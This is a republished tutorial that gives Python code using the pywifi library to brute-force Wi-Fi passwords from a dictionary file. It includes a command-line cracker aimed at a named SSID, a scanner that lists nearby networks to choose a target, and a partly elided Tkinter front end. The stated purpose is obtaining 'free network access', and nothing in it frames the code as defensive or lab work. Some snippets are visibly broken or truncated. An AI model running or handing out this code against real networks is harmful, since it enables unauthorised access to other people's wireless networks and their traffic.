How to Crack Wi‑Fi Passwords with Python: A Step‑by‑Step Guide
This tutorial walks through building a Python script that scans nearby Wi‑Fi networks and performs brute‑force password cracking, first using a command‑line approach and then enhancing it with a Tkinter graphical interface, while also discussing limitations and possible multithreading improvements.
Introduction
This article records how to use a Python script to perform Wi‑Fi password brute‑force cracking, enabling free network access.
Command‑line version
import pywifi
from pywifi import const
import time, datetime
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1)
if ifaces.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "Tr0e"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tmp_profile = ifaces.add_network_profile(profile)
ifaces.connect(tmp_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
def readPassword():
success = False
print("****************** WIFI破解 ******************")
path = "pwd.txt"
file = open(path, "r")
start = datetime.datetime.now()
while True:
try:
pwd = file.readline().strip('
')
ok = wifiConnect(pwd)
if ok:
print("[*] 密码已破解:", pwd)
print("[*] WiFi已自动连接!!!")
success = True
break
else:
print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s" % ("Tr0e", pwd))
except:
continue
end = datetime.datetime.now()
if success:
print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
else:
print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")
exit(0)
if __name__ == "__main__":
readPassword()The script reads passwords from pwd.txt, attempts to connect to the target SSID, and reports success or failure.
Script optimization
The original script hard‑codes the SSID and dictionary path, so it is refactored to allow flexible input and to add Wi‑Fi scanning.
import pywifi, time
from pywifi import const
def wifi_scan():
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描可用 WiFi 中,请稍后...({})'.format(3 - i), end='')
print('\r扫描完成!
' + '-'*38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = iface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)
for num, item in enumerate(wifi_name_list):
print('{:<6d}{:<8d}{}'.format(num, item[0], item[1]))
return wifi_name_list
# ... (rest of the cracking functions using the selected SSID)The scanning function lists nearby networks with signal strength, allowing the user to choose which SSID to attack.
Graphical user interface (Tkinter)
A simple Tkinter UI is built to let users select the target Wi‑Fi, load a password dictionary file, and start cracking.
from tkinter import *
from pywifi import const, PyWiFi
import time
def wificonnect(pwd, ssid):
wifi = PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
time.sleep(1)
if iface.status() == const.IFACE_DISCONNECTED:
profile = PyWiFi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
iface.remove_all_network_profiles()
tmp = iface.add_network_profile(profile)
iface.connect(tmp)
time.sleep(3)
return iface.status() == const.IFACE_CONNECTED
return False
root = Tk()
root.title('WiFi破解')
root.geometry('500x400')
# UI widgets (labels, entry fields, listbox, buttons) omitted for brevity
root.mainloop()The GUI version adds password‑file browsing, Wi‑Fi list display with a Treeview, and result messages.
Summary
The article demonstrates both command‑line and GUI methods for Wi‑Fi brute‑force cracking using the pywifi library, highlights the need for multithreading to speed up the process, and briefly mentions that similar tools can be built with PyQt5.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Open Source Linux
Focused on sharing Linux/Unix content, covering fundamentals, system development, network programming, automation/operations, cloud computing, and related professional knowledge.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
